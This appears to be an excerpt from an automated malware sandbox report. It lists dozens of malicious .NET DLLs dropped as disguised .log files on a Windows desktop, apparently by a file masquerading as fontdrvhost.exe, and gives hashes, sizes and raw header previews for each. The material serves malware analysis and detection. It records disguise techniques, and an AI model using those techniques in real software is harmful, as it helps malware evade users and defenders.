Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\TYRgCYum.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TlbPEPXm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ULtOMFWU.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UOaorzbP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UbSwNisy.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\VPWFywnw.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\VWGgLdif.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\WAZwZzli.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\WYfWtHNc.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WgOpYqoh.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WuogHSdp.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WvXEaKPX.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WzsNMHNJ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\XEIwxBIS.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XFfNnXVZ.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XsyMwKeS.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XxwvJouT.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XzFFzMmI.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XzKOkXsR.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YBjETBXN.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YMjefUJa.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YOQFKOOU.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YUSxJEkf.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
